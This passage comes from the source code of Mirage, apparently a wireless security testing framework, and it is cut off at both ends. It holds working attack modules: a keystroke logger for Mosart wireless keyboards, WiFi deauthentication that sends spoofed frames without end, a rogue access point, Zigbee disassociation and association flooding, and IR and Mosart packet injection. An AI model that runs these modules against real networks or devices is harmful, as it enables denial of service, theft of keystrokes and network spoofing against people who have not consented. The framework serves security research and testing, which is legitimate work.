ir.IRNECPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 35 | elif self.args["PROTOCOL"].upper() == "SONY": 36 | packet = ir.IRSonyPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 37 | elif self.args["PROTOCOL"].upper() == "RC5": 38 | packet = ir.IRRC5Packet(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 39 | elif self.args["PROTOCOL"].upper() == "RC6": 40 | packet = ir.IRRC6Packet(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 41 | elif self.args["PROTOCOL"].upper() == "DISH": 42 | packet = ir.IRDishPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 43 | elif self.args["PROTOCOL"].upper() == "SHARP": 44 | packet = ir.IRSharpPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 45 | elif self.args["PROTOCOL"].upper() == "JVC": 46 | packet = ir.IRJVCPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 47 | elif self.args["PROTOCOL"].upper() == "SANYO": 48 | packet = ir.IRSanyoPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 49 | elif self.args["PROTOCOL"].upper() == "MITSUBISHI": 50 | packet = ir.IRMitsubishiPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 51 | elif self.args["PROTOCOL"].upper() == "SAMSUNG": 52 | packet = ir.IRSamsungPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 53 | elif self.args["PROTOCOL"].upper() == "LG": 54 | packet = ir.IRLGPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 55 | elif self.args["PROTOCOL"].upper() == "WHYNTER": 56 | packet = ir.IRWhynterPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 57 | elif self.args["PROTOCOL"].upper() == "AIWA": 58 | packet = ir.IRAiwaPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 59 | elif self.args["PROTOCOL"].upper() == "PANASONIC": 60 | packet = ir.IRPanasonicPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 61 | elif self.args["PROTOCOL"].upper() == "DENON": 62 | packet = ir.IRDenonPacket(code=code, size=utils.integerArg(self.args["CODE_SIZE"])) 63 | else: 64 | io.fail("Unknown protocol !") 65 | return self.nok() 66 | io.info("Injecting ...") 67 | self.emitter.sendp(packet) 68 | utils.wait(seconds=1) 69 | io.success("Injection done !") 70 | return self.ok() 71 | 72 | elif self.args["DATA"] != "": 73 | data = [int(i) for i in utils.listArg(self.args["DATA"])] 74 | packet = ir.IRPacket(data=data) 75 | 76 | io.info("Injecting ...") 77 | self.emitter.sendp(packet) 78 | utils.wait(seconds=1) 79 | io.success("Injection done !") 80 | return self.ok() 81 | 82 | else: 83 | io.fail("Incorrect parameters !") 84 | return self.nok() 85 | else: 86 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to inject IR signals.") 87 | return self.nok() 88 | -------------------------------------------------------------------------------- /mirage/modules/ir_sniff.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import ir,utils 2 | from mirage.core import module 3 | 4 | 5 | class ir_sniff(module.WirelessModule): 6 | def init(self): 7 | self.technology = "ir" 8 | self.type = "sniff" 9 | self.description = "Sniffing module for IR signals" 10 | self.args = { 11 | "INTERFACE":"irma0", 12 | "NUMBER":"1", 13 | "FREQUENCY":"38" 14 | } 15 | 16 | self.receivedPackets = [] 17 | self.count = None 18 | 19 | def checkCapabilities(self): 20 | return self.receiver.hasCapabilities("SNIFFING", "CHANGING_FREQUENCY") 21 | 22 | def show(self,pkt): 23 | if pkt.data != []: 24 | pkt.show() 25 | self.receivedPackets.append(pkt) 26 | self.receiver.reset() 27 | self.count -= 1 28 | if self.count != 0: 29 | self.receiver.waitData() 30 | 31 | def generateOutput(self): 32 | output = {"INTERFACE":self.args["INTERFACE"]} 33 | current = 1 34 | for packet in self.receivedPackets: 35 | output["DATA"+str(current)] = str(packet.data)[1:-1] 36 | output["PROTOCOL"+str(current)] = str(packet.protocol) 37 | if packet.protocol != "UNKNOWN": 38 | output["CODE"+str(current)] = packet.code.hex() 39 | output["CODE_SIZE"+str(current)] = str(packet.size) 40 | if current == 1: 41 | output["PROTOCOL"] = str(packet.protocol) 42 | output["DATA"] = str(packet.data)[1:-1] 43 | if packet.protocol != "UNKNOWN": 44 | output["CODE"] = packet.code.hex() 45 | output["CODE_SIZE"] = str(packet.size) 46 | current += 1 47 | return output 48 | 49 | def run(self): 50 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 51 | if self.checkCapabilities(): 52 | frequency = self.receiver.getFrequency() 53 | if frequency != utils.integerArg(self.args["FREQUENCY"]): 54 | self.receiver.setFrequency(utils.integerArg(self.args["FREQUENCY"])) 55 | self.count = utils.integerArg(self.args["NUMBER"]) if utils.isNumber(self.args["NUMBER"]) else 1 56 | 57 | self.receiver.onEvent("*",callback=self.show) 58 | self.receiver.waitData() 59 | while self.count > 0: 60 | utils.wait(seconds=0.5) 61 | 62 | output = self.generateOutput() 63 | return self.ok(output) 64 | else: 65 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to sniff IR signals.") 66 | return self.nok() 67 | -------------------------------------------------------------------------------- /mirage/modules/mosart_info.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,mosart,utils 2 | from mirage.core import module 3 | 4 | class mosart_info(module.WirelessModule): 5 | def init(self): 6 | self.technology = "mosart" 7 | self.type = "info" 8 | self.description = "Information module for Mosart interface" 9 | self.args = { 10 | "INTERFACE":"rfstorm0", 11 | "SHOW_CAPABILITIES":"yes" 12 | } 13 | self.capabilities = ["INJECTING", "INJECTING_SYNC", "SNIFFING_PROMISCUOUS", "SNIFFING_NORMAL"] 14 | 15 | def displayCapabilities(self): 16 | capabilitiesList = [] 17 | for capability in self.capabilities: 18 | capabilitiesList.append([capability,(io.colorize("yes","green") if self.emitter.hasCapabilities(capability) else io.colorize("no","red"))]) 19 | io.chart(["Capability","Available"],capabilitiesList) 20 | 21 | def run(self): 22 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 23 | 24 | if utils.booleanArg(self.args["SHOW_CAPABILITIES"]): 25 | self.displayCapabilities() 26 | 27 | if "rfstorm" in self.args["INTERFACE"]: 28 | interface = self.args["INTERFACE"] 29 | mode = self.emitter.getMode() 30 | index = str(self.emitter.getDeviceIndex()) 31 | io.chart(["Interface","Device Index","Mode"],[[interface,"#"+index,mode]]) 32 | 33 | return self.ok({"INTERFACE":interface, 34 | "INDEX":index, 35 | "MODE":mode 36 | }) 37 | 38 | elif ".pcap" in self.args["INTERFACE"]: 39 | interface = self.args["INTERFACE"] 40 | mode = self.emitter.getMode() 41 | io.chart(["Interface","Mode"],[[interface,mode]]) 42 | return self.ok({"INTERFACE":interface, 43 | "MODE":mode 44 | }) 45 | return self.nok() 46 | 47 | -------------------------------------------------------------------------------- /mirage/modules/mosart_inject.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import mosart,utils,io,wireless 2 | from mirage.core import module 3 | 4 | 5 | class mosart_inject(module.WirelessModule): 6 | def init(self): 7 | self.technology = "mosart" 8 | self.type = "action" 9 | self.description = "Injection module for Mosart devices" 10 | self.args = { 11 | "INTERFACE":"rfstorm0", 12 | "TARGET":"", 13 | "CHANNEL":"36", 14 | "SYNC":"yes", 15 | "PCAP_FILE":"" 16 | } 17 | 18 | def checkCapabilities(self): 19 | return self.emitter.hasCapabilities("INJECTING","SNIFFING_NORMAL") 20 | 21 | def checkInjectionSyncCapabilities(self): 22 | return self.emitter.hasCapabilities("INJECTING_SYNC") 23 | 24 | def run(self): 25 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 26 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 27 | if self.checkCapabilities(): 28 | self.receiver.enterSnifferMode(utils.addressArg(self.args["TARGET"])) 29 | if self.checkInjectionSyncCapabilities(): 30 | if utils.booleanArg(self.args["SYNC"]): 31 | self.receiver.enableSync() 32 | else: 33 | self.receiver.disableSync() 34 | else: 35 | io.warning("Synchronized injection is not supported by this interface, the SYNC parameter will be ignored ...") 36 | 37 | self.pcapReceiver = self.getReceiver(interface=self.args["PCAP_FILE"]) 38 | 39 | 40 | self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) 41 | io.info("Extracting packet stream from PCAP ...") 42 | stream = self.pcapReceiver.generateStream() 43 | io.success("Packet stream successfully extracted !") 44 | 45 | io.info("Injecting ...") 46 | self.emitter.sendp(*stream) 47 | 48 | while not self.emitter.isTransmitting(): 49 | utils.wait(seconds=0.1) 50 | 51 | while self.emitter.isTransmitting(): 52 | utils.wait(seconds=0.1) 53 | io.success("Injection done !") 54 | return self.ok() 55 | else: 56 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to inject frames and run in sniffing mode.") 57 | return self.nok() 58 | -------------------------------------------------------------------------------- /mirage/modules/mosart_keylogger.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import mosart,utils,io 2 | from mirage.libs.common.hid import HIDMapping 3 | from mirage.core import module 4 | 5 | 6 | class mosart_keylogger(module.WirelessModule): 7 | def init(self): 8 | self.technology = "mosart" 9 | self.type = "attack" 10 | self.description = "Keystrokes logger module for Mosart keyboard" 11 | self.args = { 12 | "INTERFACE":"rfstorm0", 13 | "TARGET":"", 14 | "CHANNEL":"36", 15 | "LOCALE":"fr", 16 | "TIME":"", 17 | "TEXT_FILE":"" 18 | } 19 | 20 | self.lastKey = None 21 | self.text = "" 22 | 23 | def checkSniffingCapabilities(self): 24 | return self.receiver.hasCapabilities("SNIFFING_NORMAL") 25 | 26 | def show(self,pkt): 27 | if pkt.state == "pressed": 28 | key = HIDMapping(locale=self.args["LOCALE"].lower()).getKeyFromHIDCode(pkt.hidCode,pkt.modifiers) 29 | if key is not None: 30 | 31 | if key != self.lastKey: 32 | io.info(key) 33 | self.text += key if len(key) == 1 else " ["+key+"] " 34 | self.lastKey = key 35 | else: 36 | io.fail("Unknown HID code and modifiers: hidCode = "+str(pkt.hidCode)+" | modifiers = "+str(pkt.modifiers)) 37 | elif pkt.state == "released": 38 | self.lastKey = None 39 | 40 | def exportTextFile(self): 41 | io.info("Captured keystrokes: "+self.text) 42 | if self.args["TEXT_FILE"] != "": 43 | with open(self.args["TEXT_FILE"],"w") as f: 44 | io.success("Captured keystrokes stored as "+self.args["TEXT_FILE"]) 45 | f.write(self.text) 46 | f.close() 47 | 48 | def run(self): 49 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 50 | self.receiver.enterSnifferMode(utils.addressArg(self.args["TARGET"])) 51 | if self.checkSniffingCapabilities(): 52 | self.receiver.onEvent("MosartKeyboardKeystrokePacket",callback=self.show) 53 | 54 | self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) 55 | try: 56 | time = utils.integerArg(self.args['TIME']) if self.args["TIME"] != "" else None 57 | start = utils.now() 58 | while utils.now() - start <= time if time is not None else True: 59 | utils.wait(seconds=0.5) 60 | except KeyboardInterrupt: 61 | self.exportTextFile() 62 | self.receiver.removeCallbacks() 63 | return self.ok({"TEXT":self.text}) 64 | 65 | self.exportTextFile() 66 | self.receiver.removeCallbacks() 67 | return self.ok({"TEXT":self.text}) 68 | 69 | else: 70 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to run in sniffing mode.") 71 | return self.nok() 72 | -------------------------------------------------------------------------------- /mirage/modules/mosart_scan.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import mosart,utils,io 2 | from mirage.core import module 3 | import sys 4 | 5 | class mosart_scan(module.WirelessModule): 6 | def init(self): 7 | self.technology = "mosart" 8 | self.type = "scan" 9 | self.description = "Scanning module for Mosart devices" 10 | self.args = { 11 | "INTERFACE":"rfstorm0", 12 | "TIME":"10", 13 | "START_CHANNEL":"0", 14 | "END_CHANNEL":"99", 15 | "DONGLE_PACKETS":"no" 16 | } 17 | self.devices = {} 18 | self.changes = 0 19 | 20 | def checkPromiscuousSniffingCapabilities(self): 21 | return self.receiver.hasCapabilities("SNIFFING_PROMISCUOUS") 22 | 23 | def add(self,packet): 24 | if packet.address not in self.devices: 25 | self.devices[packet.address] = {"channels":set([packet.additionalInformations.channel]),"type":"unknown" if packet.deviceType is None else packet.deviceType} 26 | self.changes+=1 27 | elif packet.additionalInformations.channel not in self.devices[packet.address]["channels"]: 28 | self.devices[packet.address]["channels"].add(packet.additionalInformations.channel) 29 | self.changes+=1 30 | elif packet.deviceType is not None and self.devices[packet.address]["type"] == "unknown": 31 | self.devices[packet.address]["type"] = packet.deviceType 32 | self.changes+=1 33 | 34 | def displayDevices(self): 35 | sys.stdout.write(" "*100+"\r") 36 | if self.changes != 0: 37 | devices = [] 38 | for k,v in self.devices.items(): 39 | devices.append([str(k),",".join(str(i) for i in v["channels"]),v["type"]]) 40 | io.chart(["Address", "Channels", "Device type"], devices) 41 | self.changes = 0 42 | 43 | def generateOutput(self): 44 | output = {} 45 | if len(self.devices) >= 1: 46 | i = 1 47 | for k,v in self.devices.items(): 48 | output["TARGET"+str(i)] = k 49 | output["CHANNELS"+str(i)] = v["channels"] 50 | output["DEVICE_TYPE"+str(i)] = v["type"] 51 | if i == 1: 52 | output["TARGET"] = k 53 | output["CHANNEL"] = str(list(v["channels"])[0]) 54 | output["CHANNELS"] = ",".join(str(i) for i in v["channels"]) 55 | output["DEVICE_TYPE"] = v["type"] 56 | i+=1 57 | return output 58 | 59 | def run(self): 60 | self.receiver = self.getReceiver(self.args["INTERFACE"]) 61 | self.receiver.enterPromiscuousMode() 62 | if self.checkPromiscuousSniffingCapabilities(): 63 | self.receiver.onEvent("*",callback=self.add) 64 | if utils.booleanArg(self.args["DONGLE_PACKETS"]): 65 | self.receiver.enableDonglePackets() 66 | else: 67 | self.receiver.disableDonglePackets() 68 | 69 | start = utils.now() 70 | startChannel = utils.integerArg(self.args["START_CHANNEL"]) 71 | endChannel = utils.integerArg(self.args["END_CHANNEL"]) 72 | 73 | numberOfChannels = endChannel+1 - startChannel 74 | 75 | channels = list(range(startChannel,endChannel+1)) 76 | i = 0 77 | while self.args["TIME"] == "" or utils.now() - start < utils.integerArg(self.args["TIME"]): 78 | io.progress(i,total=numberOfChannels,suffix="Channel: "+(" " if len(str(channels[i]))==1 else "")+str(channels[i])) 79 | self.receiver.setChannel(channels[i]) 80 | utils.wait(seconds=0.1) 81 | self.displayDevices() 82 | i = (i + 1) % len(channels) 83 | sys.stdout.write(" "*100+"\r") 84 | if len(self.devices) >= 1: 85 | return self.ok(self.generateOutput()) 86 | else: 87 | return self.nok() 88 | else: 89 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to run in promiscuous mode.") 90 | return self.nok() 91 | -------------------------------------------------------------------------------- /mirage/modules/mosart_sniff.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import mosart,utils,io 2 | from mirage.core import module 3 | import configparser 4 | 5 | class mosart_sniff(module.WirelessModule): 6 | def init(self): 7 | self.technology = "mosart" 8 | self.type = "sniff" 9 | self.description = "Sniffing module for Mosart devices" 10 | self.args = { 11 | "INTERFACE":"rfstorm0", 12 | "TARGET":"", 13 | "CHANNEL":"auto", 14 | "TIME":"10", 15 | "DONGLE_PACKETS":"no", 16 | "PCAP_FILE":"", 17 | "MOUSE_FILE":"" 18 | } 19 | 20 | self.pcap = None 21 | self.miceDatas = [] 22 | 23 | def checkSniffingCapabilities(self): 24 | return self.receiver.hasCapabilities("SNIFFING_NORMAL") 25 | 26 | def show(self,packet): 27 | packet.show() 28 | if isinstance(packet,mosart.MosartMouseMovementPacket): 29 | self.miceDatas.append({"x":packet.x1, "y":-packet.y1, "rightClick":False,"leftClick":False}) 30 | elif isinstance(packet,mosart.MosartMouseClickPacket): 31 | self.miceDatas.append({"x":0, "y":0, "rightClick":packet.button == "right" and packet.state == "down","leftClick":packet.button == "left" and packet.state == "down"}) 32 | if self.pcap is not None: 33 | self.pcap.sendp(packet) 34 | 35 | 36 | def exportMiceDatas(self): 37 | config = configparser.ConfigParser() 38 | counter = 1 39 | for miceData in self.miceDatas: 40 | x = miceData["x"] 41 | y = miceData["y"] 42 | leftClick = miceData["leftClick"] 43 | rightClick = miceData["rightClick"] 44 | 45 | config[counter] = {"x":x,"y":y,"leftClick":leftClick,"rightClick":rightClick} 46 | counter += 1 47 | with open(self.args["MOUSE_FILE"], 'w') as outfile: 48 | config.write(outfile) 49 | io.success("Sniffed mice datas are saved as "+self.args["MOUSE_FILE"]+" (CFG file format)") 50 | 51 | def find(self): 52 | found = False 53 | for i in range(1,100): 54 | self.receiver.setChannel(i) 55 | pkt = self.receiver.next(timeout=0.1) 56 | if pkt is not None: 57 | found = True 58 | io.success("Channel found: "+str(i)) 59 | break 60 | if not found: 61 | io.fail("Channel not found !") 62 | return found 63 | 64 | def run(self): 65 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 66 | if self.checkSniffingCapabilities(): 67 | self.target = "FF:FF:FF:FF" if self.args["TARGET"] == "" else self.args["TARGET"].upper() 68 | if self.target == "FF:FF:FF:FF": 69 | self.receiver.enterPromiscuousMode() 70 | else: 71 | self.receiver.enterSnifferMode(self.target) 72 | 73 | if self.args["PCAP_FILE"] != "": 74 | self.pcap = self.getEmitter(interface=self.args["PCAP_FILE"]) 75 | 76 | if utils.booleanArg(self.args["DONGLE_PACKETS"]): 77 | self.receiver.enableDonglePackets() 78 | else: 79 | self.receiver.disableDonglePackets() 80 | 81 | if self.args["CHANNEL"] == "" or self.args["CHANNEL"].lower() == "auto": 82 | while not self.find(): 83 | io.info("Retrying ...") 84 | else: 85 | self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) 86 | 87 | self.receiver.onEvent("*",callback=self.show) 88 | time = utils.integerArg(self.args['TIME']) if self.args["TIME"] != "" else None 89 | start = utils.now() 90 | while utils.now() - start <= time if time is not None else True: 91 | utils.wait(seconds=0.5) 92 | 93 | self.receiver.removeCallbacks() 94 | if self.pcap is not None: 95 | self.pcap.stop() 96 | 97 | output = {} 98 | output["MOUSE_FILE"] = self.args["MOUSE_FILE"] 99 | output["PCAP_FILE"] = self.args["PCAP_FILE"] 100 | output["TARGET"] = self.target 101 | output["CHANNEL"] = str(int(self.receiver.getChannel())) 102 | 103 | return self.ok(output) 104 | else: 105 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to run in sniffing mode.") 106 | return self.nok() 107 | 108 | def postrun(self): 109 | self.receiver.removeCallbacks() 110 | if self.args["MOUSE_FILE"]!="": 111 | self.exportMiceDatas() 112 | -------------------------------------------------------------------------------- /mirage/modules/mouse_visualizer.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import utils,io 2 | from mirage.core import module 3 | import configparser 4 | 5 | class mouse_visualizer(module.Module): 6 | def init(self): 7 | self.technology = "generic" 8 | self.type = "tool" 9 | self.description = "Visualization module allowing to display mice movements" 10 | self.args = { 11 | "MOUSE_FILE":"", 12 | "GIF_FILE":"output.gif" 13 | } 14 | 15 | def importMiceDatas(self,filename=""): 16 | filename = filename if filename != "" else self.args["MOUSE_FILE"] 17 | io.info("Importing mice datas from "+filename+" ...") 18 | miceDatas = [] 19 | config = configparser.ConfigParser() 20 | config.read(filename) 21 | for index in config.sections(): 22 | miceData = config[index] 23 | miceDatas.append({ 24 | "x":int(miceData.get("x")), 25 | "y":int(miceData.get("y")), 26 | "leftClick":"True"==miceData.get("leftClick"), 27 | "rightClick":"True"==miceData.get("rightClick") 28 | }) 29 | return miceDatas 30 | def run(self): 31 | if self.args["MOUSE_FILE"] == "" or self.args["GIF_FILE"] == "": 32 | io.fail("You must provide an input and an output file !") 33 | return self.nok() 34 | else: 35 | miceDatas = self.importMiceDatas() 36 | io.MiceVisualizer(datas=miceDatas,outputFile=self.args["GIF_FILE"]).visualize() 37 | return self.ok() 38 | -------------------------------------------------------------------------------- /mirage/modules/wifi_deauth.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from mirage.core import module 3 | from mirage.libs import utils,io,wifi 4 | 5 | class wifi_deauth(module.WirelessModule): 6 | 7 | def init(self): 8 | self.technology = "wifi" 9 | self.type="attack" 10 | self.description = "Deauthentication module for WiFi networks" 11 | 12 | self.args = { 13 | "SOURCE":"00:11:22:33:44:55", # Source's address 14 | "TARGET":"FF:FF:FF:FF:FF:FF", # Target's address 15 | "INTERFACE":"wlan0", # Interface (monitor) 16 | "COUNT":"0", # Packet number (0 = continuously send) 17 | "MODE":"both", # "disassociation", "deauthentication", "both" 18 | "VERBOSE":"yes", 19 | "REASON":"7", 20 | "CHANNEL":"1" 21 | } 22 | self.dynamicArgs = False 23 | 24 | 25 | def checkCapabilities(self): 26 | return self.emitter.hasCapabilities("COMMUNICATING_AS_STATION","COMMUNICATING_AS_ACCESS_POINT","MONITORING") 27 | 28 | # method sending the packets 29 | def send_deauth(self): 30 | packet_count = utils.integerArg(self.args["COUNT"]) 31 | if packet_count==0: 32 | count = 0 33 | while True: 34 | if self.args["MODE"].lower() == "both" or self.args["MODE"].lower() == "deauthentication": 35 | self.emitter.sendp(self.deauth_packet) 36 | if self.args["MODE"].lower() == "both" or self.args["MODE"].lower() == "disassociation": 37 | self.emitter.sendp(self.disas_packet) 38 | utils.wait(seconds=0.05) 39 | count += 1 40 | if count % 100 == 0 and utils.booleanArg(self.args['VERBOSE']): 41 | io.info("Sent {} deauthentication packets via {}".format(count,self.args["INTERFACE"])) 42 | else: 43 | for count in range(packet_count): 44 | if self.args["MODE"].lower() == "both" or self.args["MODE"].lower() == "deauthentication": 45 | self.emitter.sendp(self.deauth_packet) 46 | if self.args["MODE"].lower() == "both" or self.args["MODE"].lower() == "disassociation": 47 | self.emitter.sendp(self.disas_packet) 48 | utils.wait(seconds=0.05) 49 | if count % 100 == 0 and utils.booleanArg(self.args['VERBOSE']): 50 | io.info("Sent {} deauthentication packets via {}".format(count,self.args["INTERFACE"])) 51 | 52 | def run(self): 53 | 54 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 55 | if self.checkCapabilities(): 56 | if not utils.isNumber(self.args["CHANNEL"]): 57 | io.fail("You must provide a channel number.") 58 | return self.nok() 59 | 60 | if self.args["TARGET"] == "": 61 | io.warning("No target provided, the attack is performed in broadcast.") 62 | self.target = "FF:FF:FF:FF:FF:FF" 63 | else: 64 | io.info("Target provided: "+str(self.args["TARGET"])) 65 | self.target = self.args["TARGET"].upper() 66 | 67 | if self.args["SOURCE"] == "": 68 | io.fail("You must provide a source address.") 69 | return self.nok() 70 | else: 71 | self.source = self.args["SOURCE"].upper() 72 | 73 | if utils.isNumber(self.args["REASON"]): 74 | self.reason = utils.integerArg(self.args["REASON"]) 75 | else: 76 | io.fail("You must provide a reason number.") 77 | return self.nok() 78 | self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) 79 | 80 | # We forge the deauthentication and disassociation packet, while spoofing the client's MAC 81 | self.deauth_packet = wifi.WifiDeauth(destMac=self.target,srcMac=self.source,reason=self.reason) 82 | self.disas_packet = wifi.WifiDisas(destMac=self.target,srcMac=self.source,reason=self.reason) 83 | 84 | self.send_deauth() 85 | 86 | return self.ok() 87 | 88 | else: 89 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to run in monitor mode.") 90 | return self.nok() 91 | -------------------------------------------------------------------------------- /mirage/modules/wifi_info.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,wifi,utils 2 | from mirage.core import module 3 | 4 | class wifi_info(module.WirelessModule): 5 | def init(self): 6 | self.technology = "wifi" 7 | self.type = "info" 8 | self.description = "Information module for Wifi interface" 9 | self.args = { 10 | "INTERFACE":"wlan0", 11 | "SHOW_CAPABILITIES":"yes" 12 | } 13 | self.capabilities = ["SCANNING","MONITORING","COMMUNICATING_AS_ACCESS_POINT","COMMUNICATING_AS_STATION","JAMMING"] 14 | 15 | def displayCapabilities(self): 16 | capabilitiesList = [] 17 | for capability in self.capabilities: 18 | capabilitiesList.append([capability,(io.colorize("yes","green") if self.emitter.hasCapabilities(capability) else io.colorize("no","red"))]) 19 | io.chart(["Capability","Available"],capabilitiesList) 20 | 21 | def run(self): 22 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 23 | if utils.booleanArg(self.args["SHOW_CAPABILITIES"]): 24 | self.displayCapabilities() 25 | interface = self.args["INTERFACE"] 26 | address = self.emitter.getAddress() 27 | mode = self.emitter.getMode() 28 | channel = self.emitter.getChannel() 29 | io.chart(["Interface","MAC Address","Mode","Channel"],[[interface, address,mode,channel]]) 30 | return self.ok({ 31 | "INTERFACE":interface, 32 | "ADDRESS":address, 33 | "MODE":mode, 34 | "CHANNEL":channel 35 | }) 36 | -------------------------------------------------------------------------------- /mirage/modules/wifi_rogueap.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io,utils,wifi 2 | from mirage.core import module 3 | 4 | class wifi_rogueap(module.WirelessModule): 5 | def init(self): 6 | self.technology = "wifi" 7 | self.type = "spoofing" 8 | self.description = "Spoofing module simulating a fake Access Point" 9 | self.args = { 10 | "INTERFACE":"wlan0", 11 | "SSID":"mirage_fakeap", 12 | "CHANNEL":"8", 13 | "CYPHER":"OPN" 14 | } 15 | 16 | 17 | def checkCapabilities(self): 18 | return self.emitter.hasCapabilities("COMMUNICATING_AS_ACCESS_POINT","MONITORING") 19 | 20 | def probeResponse(self,packet): 21 | self.emitter.sendp(wifi.WifiProbeResponse(destMac = packet.srcMac,beaconInterval=100, SSID = self.args["SSID"],cypher=self.args["CYPHER"])) 22 | io.info("Incoming Probe Request from : "+packet.srcMac) 23 | io.info("Answering...") 24 | 25 | def run(self): 26 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 27 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 28 | if self.checkCapabilities(): 29 | self.receiver.onEvent("WifiProbeRequest",callback=self.probeResponse) 30 | 31 | self.emitter.setChannel(utils.integerArg(self.args["CHANNEL"])) 32 | while True: 33 | self.emitter.sendp(wifi.WifiBeacon(SSID=self.args["SSID"],cypher=self.args["CYPHER"])) 34 | utils.wait(seconds=0.1) 35 | return self.ok() 36 | else: 37 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to communicate as an access point and run in monitor mode.") 38 | return self.nok() 39 | -------------------------------------------------------------------------------- /mirage/modules/zigbee_deauth.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import zigbee,utils,io 2 | from mirage.core import module 3 | import random 4 | 5 | class zigbee_deauth(module.WirelessModule): 6 | def init(self): 7 | self.technology = "zigbee" 8 | self.type = "attack" 9 | self.description = "Deauthentication module for Zigbee networks" 10 | self.args = { 11 | "INTERFACE":"rzusbstick0", 12 | "TARGET_PANID":"0x1234", 13 | "CHANNEL":"13", 14 | "TARGET":"", 15 | "SOURCE":"", 16 | "REASON":"1" 17 | 18 | } 19 | 20 | def checkCapabilities(self): 21 | return self.emitter.hasCapabilities("SNIFFING", "INJECTING", "COMMUNICATING_AS_END_DEVICE","COMMUNICATING_AS_ROUTER","COMMUNICATING_AS_COORDINATOR") 22 | 23 | def run(self): 24 | 25 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 26 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 27 | if self.checkCapabilities(): 28 | self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) 29 | 30 | if self.args["TARGET_PANID"] == "": 31 | io.fail("You must specify a target Pan ID.") 32 | return self.nok() 33 | self.panid = utils.integerArg(self.args["TARGET_PANID"]) 34 | io.info("PanID selected: 0x"+"{:04x}".format(self.panid).upper()) 35 | 36 | if self.args["TARGET"] != "": 37 | self.target = utils.integerArg(self.args["TARGET"]) 38 | else: 39 | io.fail("You must specify a target.") 40 | return self.nok() 41 | io.info("Target selected: "+zigbee.addressToString(self.target)) 42 | 43 | 44 | if self.args["SOURCE"] != "": 45 | self.source = utils.integerArg(self.args["SOURCE"]) 46 | else: 47 | io.fail("You must specify a source address.") 48 | return self.nok() 49 | io.info("Source selected: "+zigbee.addressToString(self.source)) 50 | 51 | self.reason = utils.integerArg(self.args["REASON"]) 52 | while True: 53 | self.emitter.sendp(zigbee.ZigbeeDisassociationNotification(destPanID=self.panid, srcAddr=self.source,destAddr=self.target,sequenceNumber=1,reason=self.reason)) 54 | 55 | return self.ok() 56 | else: 57 | io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to communicate as a Zigbee device.") 58 | return self.nok() 59 | -------------------------------------------------------------------------------- /mirage/modules/zigbee_floodassoc.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import zigbee,utils,io 2 | from mirage.core import module 3 | import random 4 | 5 | class zigbee_floodassoc(module.WirelessModule): 6 | def init(self): 7 | self.technology = "zigbee" 8 | self.type = "attack" 9 | self.description = "Flooding module for Zigbee communications" 10 | self.args = { 11 | "INTERFACE":"rzusbstick0", 12 | "TARGET_PANID":"0x1234", 13 | "CHANNEL":"13", 14 | "TARGET":"" 15 | 16 | } 17 | 18 | def checkCapabilities(self): 19 | return self.emitter.hasCapabilities("SNIFFING", "INJECTING", "COMMUNICATING_AS_COORDINATOR", "COMMUNICATING_AS_END_DEVICE", "COMMUNICATING_AS_ROUTER") 20 | def run(self): 21 | 22 | self.receiver = self.getReceiver(interface=self.args["INTERFACE"]) 23 | self.emitter = self.getEmitter(interface=self.args["INTERFACE"]) 24 | if self.checkCapabilities(): 25 | self.receiver.setChannel(utils.integerArg(self.args["CHANNEL"])) 26 | 27 | if self.args["TARGET_PANID"] == "": 28 | io.fail("You must specify a target Pan ID.") 29 | return self.nok() 30 | self.panid = utils.integerArg(self.args["TARGET_PANID"]) 31 | io.info("PanID selected: 0x"+"{:04x}".format(self.panid).upper()) 32 | 33 | if 